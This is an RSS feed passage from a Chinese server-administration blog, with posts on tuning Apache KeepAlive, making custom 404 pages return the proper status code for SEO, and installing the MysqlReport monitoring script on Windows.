<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>无风的港湾 &#187; 服务器构建&amp;安全</title>
	<atom:link href="http://www.5bay.cn/category/server-building/feed" rel="self" type="application/rss+xml" />
	<link>http://www.5bay.cn</link>
	<description>让你我停泊~</description>
	<lastBuildDate>Fri, 16 Dec 2011 09:18:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Apache 中 KeepAlive 配置的合理使用</title>
		<link>http://www.5bay.cn/server-building/apachezhongkeepalivepeizhidehelishiyong.html</link>
		<comments>http://www.5bay.cn/server-building/apachezhongkeepalivepeizhidehelishiyong.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 09:17:05 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[css]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=599</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/apachezhongkeepalivepeizhidehelishiyong.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>在 Apache 服务器中，KeepAlive 是一个布尔值，On 代表打开，Off 代表关闭，这个指令在其他众多的 HTTPD 服务器中都是存在的。 KeepAlive 配置指令决定当处理完用户发起的 HTTP 请求后是否立即关闭 TCP 连接，如果 KeepAlive 设置为 On，那么用户完成一次访问后，不会立即断开连接，如果还有请求，那么会继续在这一次 TCP 连接中完成，而不用重复建立新的 TCP 连接和关闭 TCP 连接，可以提高用户访问速度。 那么我们考虑3种情况： 1。用户浏览一个网页时，除了网页本身外，还引用了多个 javascript. 文件，多个 css 文件，多个图片文件，并且这些文件都在同一个 HTTP 服务器上。 2。用户浏览一个网页时，除了网页本身外，还引用一个 javascript. 文件，一个图片文件。 3。 用户浏览的是一个动态网页，由程序即时生成内容，并且不引用其他内容。 对于上面3中情况，我认为：1 最适合打开 KeepAlive ，2 随意，3 最适合关闭 KeepAlive 下面我来分析一下原因。 在 Apache 中，打开和关闭 KeepAlive 功能，服务器端会有什么异同呢？ 先看看理论分析。 打开 KeepAlive 后，意味着每次用户完成全部访问后，都要保持一定时间后才关闭会关闭 TCP 连接，那么在关闭连接之前，必然会有一个 [...]]]></description>
			<content:encoded><![CDATA[<p>在 Apache 服务器中，KeepAlive 是一个布尔值，On 代表打开，Off 代表关闭，这个指令在其他众多的 HTTPD 服务器中都是存在的。</p>
<p>KeepAlive 配置指令决定当处理完用户发起的 HTTP 请求后是否立即关闭 TCP <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" class="st_tag internal_tag" rel="tag" title="标签 连接 下的日志">连接</a>，如果 KeepAlive 设置为 On，那么用户完成一次访问后，不会立即断开连接，如果还有请求，那么会继续在这一次 TCP 连接中完成，而不用重复建立新的 TCP 连接和关闭 TCP <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" class="st_tag internal_tag" rel="tag" title="标签 连接 下的日志">连接</a>，可以提高用户访问速度。</p>
<p>那么我们考虑3种情况：<br />
1。用户浏览一个网页时，除了网页本身外，还引用了多个 javascript. 文件，多个 <a href="http://www.5bay.cn/tag/css" class="st_tag internal_tag" rel="tag" title="标签 css 下的日志">css</a> 文件，多个图片文件，并且这些文件都在同一个 HTTP 服务器上。<br />
2。用户浏览一个网页时，除了网页本身外，还引用一个 javascript. 文件，一个图片文件。<br />
3。 用户浏览的是一个动态网页，由程序即时生成内容，并且不引用其他内容。</p>
<p>对于上面3中情况，我认为：1 最适合打开 KeepAlive ，2 随意，3 最适合关闭 KeepAlive</p>
<p>下面我来分析一下原因。</p>
<p>在 Apache 中，打开和关闭 KeepAlive 功能，服务器端会有什么异同呢？</p>
<p>先看看理论分析。<br />
<span id="more-599"></span><br />
打开 KeepAlive 后，意味着每次用户完成全部访问后，都要保持一定时间后才关闭会关闭 TCP 连接，那么在关闭连接之前，必然会有一个 Apache 进程对应于该用户而不能处理其他用户，假设 KeepAlive 的超时时间为 10 秒种，服务器每秒处理 50 个独立用户访问，那么系统中 Apache 的总进程数就是 10 * 50 ＝ 500 个，如果一个进程占用 4M 内存，那么总共会消耗 2G 内存，所以可以看出，在这种配置中，相当消耗内存，但好处是系统只处理了 50次 TCP 的握手和关闭操作。</p>
<p>如果关闭 KeepAlive，如果还是每秒50个用户访问，如果用户每次连续的请求数为3个，那么 Apache 的总进程数就是 50 * 3 = 150 个，如果还是每个进程占用 4M 内存，那么总的内存消耗为 600M，这种配置能节省大量内存，但是，系统处理了 150 次 TCP 的握手和关闭的操作，因此又会多消耗一些 CPU 资源。</p>
<p>在看看实践的观察。</p>
<p>我在一组大量处理动态网页内容的服 务器中，起初打开 KeepAlive 功能，经常观察到用户访问量大时Apache进程数也非常多，系统频繁使用交换内存，系统不稳定，有时负载会出现较大<a href="http://www.ff-bb.cn/" target="_blank">波</a>动。关闭了 KeepAlive 功能后，看到明显的变化是： Apache 的进程数减少了，空闲内存增加了，用于文件系统Cache的内存也增加了，CPU 的开销增加了，但是服务更稳定了，系统负载也比较稳定，很少有负载大范围波动的情况，负载有一定程度的降低；变化不明显的是：访问量较少的时候，系统平均 负载没有明显变化。</p>
<p>总结一下：<br />
在内存非常充足的服务器上，不管是否关闭 KeepAlive 功能，服务器性能不会有明显变化；<br />
如果服务器内存较少，或者服务器有非常大量的文件系统访问时，或者主要处理动态网页服务，关闭 KeepAlive 后可以节省很多内存，而节省出来的内存用于文件系统Cache，可以提高文件系统访问的性能，并且系统会更加稳定。</p>
<p>补充：<br />
关于是否应该关闭 KeepAlive 选项，我觉得可以基于下面的一个公式来判断。</p>
<p>在理想的网络连接状况下， 系统的 Apache 进程数和内存使用可以用如下公式表达：<br />
HttpdProcessNumber = KeepAliveTimeout * TotalRequestPerSecond / Average(KeepAliveRequests)<br />
HttpdUsedMemory = HttpdProcessNumber * MemoryPerHttpdProcess<br />
换成中文：<br />
总Apache进程数 = KeepAliveTimeout * 每秒种HTTP请求数 / 平均KeepAlive请求<br />
Apache占用内存 = 总Apache进程数 * 平均每进程占用内存数</p>
<p>需要特别说明的是：<br />
[平均KeepAlive请求] 数，是指每个用户连接上服务器后，持续发出的 HTTP 请求数。当 KeepAliveTimeout 等 0 或者 KeepAlive 关闭时，KeepAliveTimeout 不参与乘的运算从上面的公式看，如果 [每秒用户请求] 多，[KeepAliveTimeout] 的值大，[平均KeepAlive请求] 的值小，都会造成 [Apache进程数] 多和 [内存] 多，但是当 [平均KeepAlive请求] 的值越大时，[Apache进程数] 和 [内存] 都是趋向于减少的。</p>
<p>基于上面的公式，我们就可以推算出当 平均KeepAlive请求 &lt;= KeepAliveTimeout 时，关闭 KeepAlive 选项是划算的，否则就可以考虑打开。</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (1)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/website/nginxtongguouser-agentpanduanshoujizhongduan.html" title="nginx 通过user-agent判断手机终端">nginx 通过user-agent判断手机终端</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2006年12月22日 -- <a href="http://www.5bay.cn/network-programming/asp/%E8%BF%87%E6%BB%A4html%E4%BB%A3%E7%A0%81%E7%9A%84%E5%87%BD%E6%95%B0%E5%8C%85%E6%8B%AC%E8%BF%87%E6%BB%A4css%E5%92%8Cjs.html" title="过滤HTML代码的函数包括过滤CSS和JS ">过滤HTML代码的函数包括过滤CSS和JS </a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/5%E6%AC%BE%E7%BA%AFdivcss%E5%88%B6%E4%BD%9C%E7%9A%84%E5%BC%B9%E5%87%BA%E8%8F%9C%E5%8D%95%E6%A0%87%E5%87%86%E4%B8%94%E6%97%A0js.html" title="5款纯div+css制作的弹出菜单(标准且无js) ">5款纯div+css制作的弹出菜单(标准且无js) </a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/%E7%94%A8%E7%AE%80%E5%8D%95%E7%9A%84css%E4%BB%A3%E7%A0%81%E4%B8%BA%E7%9B%B8%E5%86%8C%E5%9B%BE%E7%89%87%E5%8A%A0%E4%B8%8A%E6%BC%82%E4%BA%AE%E9%98%B4%E5%BD%B1.html" title="用简单的css代码为相册图片加上漂亮阴影">用简单的css代码为相册图片加上漂亮阴影</a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/dhtml-css/mozilla%E5%BB%BA%E8%AE%AE%E7%9A%84css%E4%B9%A6%E5%86%99%E9%A1%BA%E5%BA%8F.html" title="Mozilla建议的CSS书写顺序">Mozilla建议的CSS书写顺序</a> (0)</li><li>2006年12月8日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E5%8A%A8%E6%80%81css%EF%BC%8C%E6%8D%A2%E8%82%A4%E6%8A%80%E6%9C%AF.html" title="动态CSS，换肤技术">动态CSS，换肤技术</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/css" title="css" rel="tag">css</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/apachezhongkeepalivepeizhidehelishiyong.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>404错误的处理方式及对SEO的影响</title>
		<link>http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html</link>
		<comments>http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 09:11:39 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=597</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>404错误的处理方式及对SEO的影响 HTTP 404 错误意味着链接指向的网页不存在，即原始网页的URL失效，这种情况经常会发生，很难避免，比如说：网页URL生成规则改变、网页文件更名或移动位置、导入链接拼写 错误等，导致原来的URL地址无法访问；当Web 服务器接到类似请求时，会返回一个404 状态 码，告诉浏览器要请求的资源并不存在。但是，Web服务器默认的404错误页面，无论Apache 还是IIS，均十分简陋、呆板且对用户不友好，无法给用户提供必要的信息以获取更多线索， 无疑这会造成用户的流失。 因此，很多网站均使用自定义404错误的方式以提供用户体验避免用户流失。一般而言， 自定义404页面通用的做法是在页面中放置网站快速导航链接、搜索框以及网站提供的特色服 务，这样可以有效的帮助用户访问站点并获取需要的信息。 HTTP404对SEO的影响 自定义404错误页面是提供用户体验的很好的做法，但在应用过程中往往并未注意到对搜 索引擎的影响，譬如：错误的服务器端配置导致返回“200”状态码或自定义404错误页面使 用Meta Refresh导致返回“302”状态码。正确设置的自定义404错误页面，不仅应当能够正 确地显示，同时，应该返回“404”错误代码，而不是 “200”或“302”。虽然对访问的用 户而言，HTTP状态码究竟是“404”还是“200”来说并没有什么区别，但对搜索引擎而言， 这则是相当重要的。 (一)自定义404错误页返回“200”状态码 当搜索引擎蜘蛛在请求某个URL时得到“404”状态回应时，即知道该URL已经失效，便不 再索引该网页，并向数据中心反馈将该URL表示的网页从索引数据库中删除，当然，删除过程 有可能需要很长时间；而当搜索引擎得到“200”状态回应时，则会认为该url是有效的，便 会去索引，并会将其收录到索引数据库，这样的结果便是这两个不同的url具有完全相同的内 容：自定义404错误页面的内容，这会导致出现复制网页问题。对搜索引擎而言，特别是 Google，不但很难获得信任指数TrustRank，也会大大降低 Google对网站质量的评定。（为 什么会出现返回“200”状态码的情况？？请参看下面内容“自定义404错误页面的基本原则 ”） (二)自定义404错误页使用Meta Refresh返回“302”状态码 常常看到许多网站的自定义404错误页面采取类似这样的形式：首先显示一段错误信息， 然后，通过Meta Refresh将页面跳转到网站首页、网页地图或其他类似页。根据具体实现方 式不同，这类404页面可能返回“200”状态码，也可能返回“302”，但不论哪种，从SEO技 术角度看，均不是一种合适的选择。 对“200”状态的情况我们上面已经谈过，那么，当404页面返回“302” 时，搜索引擎 会怎么对待呢？从理论上说，对“302”错误，搜索引擎认为该网页是存在的，只不过临时改 变了地址，仍然会索引收录该页，这样，同样会出现类似于“200”状态码时的重复文本问题 ；其次，以google为代表的主流搜索引擎对302重定向的适用范围要求越来越严格，这类不当 使用302重定向的情况存在很大的风险。 确保自定义404错误页面能够返回“404”状态码 在自定义404错误页面设置完毕后，一定要检查一下其是不是能够正确地返回“404”状 态码。可以使用Server Header检查工具，输入一个不存在网页的url，查看一下HTTP Header 的返回情况，确信其返回的是“404 Not found”。 404错误的处理方式 (一)定制404错误页面的基本原则 [...]]]></description>
			<content:encoded><![CDATA[<p>404错误的处理方式及对<a href="http://www.ff-bb.cn/c2463807/" target="_blank">SEO</a>的影响</p>
<p>HTTP 404 错误意味着链接指向的网页不存在，即原始网页的URL失效，这种情况经常会发生，很难避免，比如说：网页URL生成规则改变、网页文件更名或移动位置、导入链接拼写</p>
<p>错误等，导致原来的URL地址无法访问；当Web 服务器接到类似请求时，会返回一个404 状态</p>
<p>码，告诉浏览器要请求的资源并不存在。但是，Web服务器默认的404错误页面，无论Apache</p>
<p>还是IIS，均十分简陋、呆板且对用户不友好，无法给用户提供必要的信息以获取更多线索，</p>
<p>无疑这会造成用户的流失。</p>
<p>因此，很多网站均使用自定义404错误的方式以提供用户体验避免用户流失。一般而言，</p>
<p>自定义404页面通用的做法是在页面中放置网站快速导航链接、搜索框以及网站提供的特色服</p>
<p>务，这样可以有效的帮助用户访问站点并获取需要的信息。<br />
HTTP404对SEO的影响</p>
<p>自定义404错误页面是提供用户体验的很好的做法，但在应用过程中往往并未注意到对搜</p>
<p>索引擎的影响，譬如：错误的服务器端配置导致返回“200”状态码或自定义404错误页面使</p>
<p>用Meta Refresh导致返回“302”状态码。正确设置的自定义404错误页面，不仅应当能够正</p>
<p>确地显示，同时，应该返回“404”错误代码，而不是 “200”或“302”。虽然对访问的用</p>
<p>户而言，HTTP状态码究竟是“404”还是“200”来说并没有什么区别，但对搜索引擎而言，</p>
<p>这则是相当重要的。</p>
<p>(一)自定义404错误页返回“200”状态码</p>
<p>当搜索引擎蜘蛛在请求某个URL时得到“404”状态回应时，即知道该URL已经失效，便不</p>
<p>再索引该网页，并向数据中心反馈将该URL表示的网页从索引数据库中删除，当然，删除过程</p>
<p>有可能需要很长时间；而当搜索引擎得到“200”状态回应时，则会认为该url是有效的，便</p>
<p>会去索引，并会将其收录到索引数据库，这样的结果便是这两个不同的url具有完全相同的内</p>
<p>容：自定义404错误页面的内容，这会导致出现复制网页问题。对搜索引擎而言，特别是</p>
<p>Google，不但很难获得信任指数TrustRank，也会大大降低 Google对网站质量的评定。（为</p>
<p>什么会出现返回“200”状态码的情况？？请参看下面内容“自定义404错误页面的基本原则</p>
<p>”）<br />
(二)自定义404错误页使用Meta Refresh返回“302”状态码</p>
<p>常常看到许多网站的自定义404错误页面采取类似这样的形式：首先显示一段错误信息，</p>
<p>然后，通过Meta Refresh将页面跳转到网站首页、网页地图或其他类似页。根据具体实现方</p>
<p>式不同，这类404页面可能返回“200”状态码，也可能返回“302”，但不论哪种，从SEO技</p>
<p>术角度看，均不是一种合适的选择。</p>
<p>对“200”状态的情况我们上面已经谈过，那么，当404页面返回“302” 时，搜索引擎</p>
<p>会怎么对待呢？从理论上说，对“302”<a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" class="st_tag internal_tag" rel="tag" title="标签 错误 下的日志">错误</a>，搜索引擎认为该网页是存在的，只不过临时改</p>
<p>变了地址，仍然会索引收录该页，这样，同样会出现类似于“200”状态码时的重复文本问题</p>
<p>；其次，以google为代表的主流搜索引擎对302重定向的适用范围要求越来越严格，这类不当</p>
<p>使用302重定向的情况存在很大的风险。<br />
确保自定义404错误页面能够返回“404”状态码</p>
<p>在自定义404错误页面设置完毕后，一定要检查一下其是不是能够正确地返回“404”状</p>
<p>态码。可以使用Server Header检查工具，输入一个不存在网页的url，查看一下HTTP Header</p>
<p>的返回情况，确信其返回的是“404 Not found”。<br />
404错误的处理方式<br />
(一)定制404错误页面的基本原则</p>
<p>首先应明确的是，404错误应工作在服务器级而不是网页级。对定制使用动态页面如PHP</p>
<p>脚本类型的404页时，必须确保在PHP执行前服务器已经顺利地送出“404”状态码，不然，一</p>
<p>旦执行到了ISAPI级别，返回的状态码便只能是“200”或其他如“302”之类的重定向状态码</p>
<p>了。</p>
<p>其次，在自定义网站的404错误页面时，对设置的错误页面URL链接应使用相对路径而不</p>
<p>是绝对路径，而且自定义404页面应该放在网站根目录下。尽管无效链接可能是多种形式的</p>
<p><a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">URL</a>，但当发生404访问错误时，WEB服务器会自动将其转到自定义的当404错误页中，这跟URL</p>
<p>的形似没有关系。</p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2007年02月9日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E6%8E%A7%E5%88%B6flashplayer%E7%9A%84javascript%E6%96%B9%E6%B3%95%E4%B8%80%E8%A7%88%E8%A1%A8.html" title="控制 Flash Player 的 JavaScript 方法一览表">控制 Flash Player 的 JavaScript 方法一览表</a> (0)</li><li>2006年12月27日 -- <a href="http://www.5bay.cn/network-programming/php/%E4%B8%80%E4%BA%9B%E5%B8%B8%E7%94%A8%E7%9A%84php%E5%87%BD%E6%95%B0.html" title="一些常用的php函数">一些常用的php函数</a> (0)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E8%B6%85%E9%85%B7%E5%8F%B3%E4%B8%8B%E6%B5%AE%E5%87%BA%E5%B9%BF%E5%91%8A%E7%AA%97%E5%8F%A3%E4%BB%A3%E7%A0%81.html" title="超酷右下浮出广告窗口代码">超酷右下浮出广告窗口代码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpv5-3eeeeee.html" title="PHP V5.3 中的新特性: 名称空间(一)">PHP V5.3 中的新特性: 名称空间(一)</a> (0)</li><li>2006年07月18日 -- <a href="http://www.5bay.cn/network-programming/javascript-ajax/%E5%88%A4%E6%96%ADcheckbox%E6%98%AF%E5%90%A6%E8%87%B3%E5%B0%91%E6%9C%89%E9%80%89%E6%8B%A9%E4%B8%80%E9%A1%B9.html" title="判断checkbox是否至少有选择一项">判断checkbox是否至少有选择一项</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2006年12月9日 -- <a href="http://www.5bay.cn/network-programming/php/%E5%88%9B%E9%80%A0%E4%B8%96%E7%95%8C%E4%B8%8A%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84php%E5%BC%80%E5%8F%91%E6%A8%A1%E5%BC%8F.html" title="创造世界上最简单的 PHP 开发模式">创造世界上最简单的 PHP 开发模式</a> (0)</li><li>2007年02月8日 -- <a href="http://www.5bay.cn/swallows-a-small-novel/%E5%B9%B8%E7%A6%8F%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F.html" title="幸福是什么？&#8230;&#8230;&#8230;">幸福是什么？&#8230;&#8230;&#8230;</a> (0)</li><li>2006年09月28日 -- <a href="http://www.5bay.cn/website/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E%E4%BC%98%E5%8C%96seo.html" title="搜索引擎优化(SEO)">搜索引擎优化(SEO)</a> (0)</li><li>2007年03月21日 -- <a href="http://www.5bay.cn/network-programming/php/%E5%BD%BB%E5%BA%95%E6%9D%9C%E7%BB%9Dphp%E7%9A%84sessioncookie%E9%94%99%E8%AF%AF.html" title="彻底杜绝PHP的session cookie错误">彻底杜绝PHP的session cookie错误</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/zaiandroidzhongchuangjianqidongjiemian.html" title="在Android中创建启动界面">在Android中创建启动界面</a> (0)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/android%e7%ac%94%e8%ae%b0/androidzhiandroidmanifest-xml.html" title="Android之AndroidManifest.xml">Android之AndroidManifest.xml</a> (0)</li><li>2007年12月29日 -- <a href="http://www.5bay.cn/network-programming/asp/asp%E5%88%9D%E5%AD%A6%E8%80%85%E5%B8%B8%E7%8A%AF%E7%9A%84%E5%87%A0%E4%B8%AA%E9%94%99%E8%AF%AF.html" title="ASP初学者常犯的几个错误">ASP初学者常犯的几个错误</a> (0)</li><li>2006年07月18日 -- <a href="http://www.5bay.cn/network-programming/asp/asp%E8%8E%B7%E5%8F%96%E7%BD%91%E9%A1%B5url%E4%BB%A3%E7%A0%81.html" title="ASP 获取网页URL代码">ASP 获取网页URL代码</a> (1)</li><li>2008年10月17日 -- <a href="http://www.5bay.cn/game-development/%E8%A7%92%E8%89%B2%E5%8A%A8%E4%BD%9C%E6%8E%A7%E5%88%B6%E6%8E%A5%E5%8F%A3%E7%9A%84%E8%AE%BE%E8%AE%A1.html" title="角色动作控制接口的设计">角色动作控制接口的设计</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/404cuowudechulifangshijiduiseodeyingxiang.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>监控mysql的工具MysqlReport的windows下安装</title>
		<link>http://www.5bay.cn/network-programming/jiankongmysqldegongjumysqlreportdewindowsxiaanzhuang.html</link>
		<comments>http://www.5bay.cn/network-programming/jiankongmysqldegongjumysqlreportdewindowsxiaanzhuang.html#comments</comments>
		<pubDate>Fri, 16 Dec 2011 09:06:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[MySQL&MSSQL]]></category>
		<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[网络编程]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=595</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/jiankongmysqldegongjumysqlreportdewindowsxiaanzhuang.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>监控mysql的工具MysqlReport的安装 下载mysqlreport的pl脚本文件，这个pl脚本地址 http://hackmysql.com/mysqlreport 下载过了的文件是没有后缀的，你要自己加一个.pl后缀 文本编辑器打开，修改如下内容： 安装配置： 修改mysqlreport的 第73 74 75 76 77 行 $mycnf{&#8216;host&#8217;}   = “127.0.0.1&#8243;; $mycnf{&#8216;port&#8217;}   = “3306&#8243;; #mysql的端口 $mycnf{&#8216;socket&#8217;} = $op{&#8216;socket&#8217;} if have_op &#8216;socket&#8217;; $mycnf{&#8216;user&#8217;}   = “root”;#mysql的用户名 $mycnf{&#8216;pass&#8217;}   = “admin”;#mysql的用户名密码 &#160; 在Web页面上嵌入，使用更方便。 接下来就尝试一下： 1、 搭建Apache + Perl 环境；windows下要预先安装安装activeperl5.5.8 2、 配置一下Apache；要启用cgi模块 3、 将MysqlReport脚本放入指定目录（cgi-bin）； 4、 访问http://xxx.com.cn/cgi-bin/mysqlreport.pl即可查看运行结果。 注意的是，ActivexPerl连接mysql需要有对应的mysql驱动，安装方法如下： 下下载DBD-mysql.ppd ，下载路径：http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd 将DBD-mysql.ppd 拷贝到perl/bin目录下 然后再 运行 c:\perl\bin\ppm install DBD-mysql.pps 或者直接运行C:\Documents and Settings\Administrator&#62;ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd 即可自动下载。 这样安装完成， TroubleShooting 1   Apache的错误日志中可能会报 系统找不到指定的路径。  : couldn&#8217;t spawn child process: 因为pl文件第一行没有标出perl解释器的位置，改正之后就正常了。修改MysqlReport这个文件 第一行如下 #!c:/Perl/bin/perl.exe [...]]]></description>
			<content:encoded><![CDATA[<p>监控mysql的工具MysqlReport的安装</p>
<p>下载mysqlreport的pl脚本文件，这个pl脚本地址 <a href="http://hackmysql.com/mysqlreport">http://hackmysql.com/mysqlreport</a><br />
下载过了的文件是没有后缀的，你要自己加一个.pl后缀<br />
文本编辑器打开，修改如下内容：<br />
安装配置：</p>
<p>修改mysqlreport的 第73 74 75 76 77 行</p>
<p>$mycnf{&#8216;host&#8217;}   = “127.0.0.1&#8243;;<br />
$mycnf{&#8216;port&#8217;}   = “3306&#8243;; #mysql的端口<br />
$mycnf{&#8216;socket&#8217;} = $op{&#8216;socket&#8217;} if have_op &#8216;socket&#8217;;<br />
$mycnf{&#8216;user&#8217;}   = “root”;#mysql的用户名<br />
$mycnf{&#8216;pass&#8217;}   = “admin”;#mysql的用户名密码</p>
<p>&nbsp;</p>
<p>在Web页面上嵌入，使用更方便。<br />
接下来就尝试一下：<br />
1、 搭建Apache + Perl 环境；windows下要预先安装安装activeperl5.5.8<br />
2、 配置一下Apache；要启用cgi模块<br />
3、 将MysqlReport脚本放入指定目录（cgi-bin）；<br />
4、 访问<a href="http://xxx.com.cn/cgi-bin/mysqlreport.pl">http://xxx.com.cn/cgi-bin/mysqlreport.pl</a>即可查看运行结果。</p>
<p>注意的是，ActivexPerl连接mysql需要有对应的mysql驱动，安装方法如下：<br />
下下载DBD-<a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a>.ppd ，下载路径：<a href="http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd">http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd</a></p>
<p>将DBD-mysql.ppd 拷贝到perl/bin目录下<br />
然后再 运行 c:\perl\bin\ppm install DBD-mysql.pps<br />
或者直接运行C:\Documents and Settings\Administrator&gt;ppm install <a href="http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd">http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd</a><br />
即可自动下载。<br />
这样安装完成，<br />
<strong>TroubleShooting</strong><br />
1   Apache的错误日志中可能会报</p>
<p>系统找不到指定的路径。  : couldn&#8217;t spawn child process:<br />
因为pl文件第一行没有标出perl解释器的位置，改正之后就正常了。修改MysqlReport这个文件<br />
第一行如下 #!c:/Perl/bin/perl.exe -w  （就是perl.exe的路径）</p>
<p>2  通过浏览器访问该mysqlreport.pl时发现是显示该脚本的源代码</p>
<p>这是因为没有启用apache的cgi模块</p>
<h2  class="related_post_title">推荐博文</h2><ul class="related_post"><li>2006年08月23日 -- <a href="http://www.5bay.cn/me/%E6%9C%80%E5%8C%AA%E5%A4%B7%E6%89%80%E6%80%9D%E7%9A%84%E5%B0%8F%E5%AD%A6%E6%95%B0%E5%AD%A6%E9%A2%98.html" title="最匪夷所思的小学数学题">最匪夷所思的小学数学题</a> (0)</li><li>2006年10月27日 -- <a href="http://www.5bay.cn/network-programming/php/php%E4%B8%8A%E4%BC%A0%E6%96%87%E4%BB%B6%E4%BE%8B%E5%AD%90.html" title="PHP上传文件例子">PHP上传文件例子</a> (0)</li><li>2008年08月22日 -- <a href="http://www.5bay.cn/me/phpok%e4%b8%ad%e7%a7%8b%e8%8a%82%e6%a8%a1%e6%9d%bf%e5%87%ba%e7%82%89%e5%95%a6%ef%bd%9e.html" title="phpok中秋节模板出炉啦～">phpok中秋节模板出炉啦～</a> (2)</li><li>2011年06月29日 -- <a href="http://www.5bay.cn/server-building/chedimingbaiipdizhieeeejisuanxiangguandizhi.html" title="彻底明白IP地址——计算相关地址">彻底明白IP地址——计算相关地址</a> (0)</li><li>2007年03月21日 -- <a 